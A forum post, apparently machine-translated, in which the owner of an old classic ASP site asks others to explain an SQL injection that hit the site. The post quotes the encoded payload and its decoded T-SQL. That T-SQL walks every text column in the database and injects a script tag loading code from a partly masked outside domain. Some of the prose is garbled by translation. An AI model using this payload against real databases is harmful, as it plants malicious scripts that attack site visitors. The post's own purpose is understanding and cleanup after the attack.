I wanted to post this here as it is very related to coding, and it was something that I had to clean up this week on one of my old ASP (classic) sites.
We got hit with an SQL injection attack that was launched just a few days ago, but I scratched my head. HOW "damage" was for the SQL server (through these SQL queries).
Honestly, I thought that it was very inventive, how it was done, and his companies are mistaken in that I have an old 10-year-old website with almost no deficit input.
Attack:
122 + declare +% 40s + VARCHAR% 284000% 29 + set +% 40s% 3Dcast% + a + VarChar% 284000% 29% 29 +% Exec 28% 40s% 29 -
What he decrypts: (what I want to understand)
set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor
We restored the backup (pre injection) and went through the entire application and deactivated all input operators. Our server is a firewall, so there is no direct access to SQL, however I want to know what else can be left, and I must admit that the SQL query is above my head.
Can someone hack and explain SQL attack for me?
APOLOGIES I UPDATED FULL DUMP and SQL
sql sql-injection xss asp-classic
Jakub Dec 05 2018-11-11T00: 00Z
source share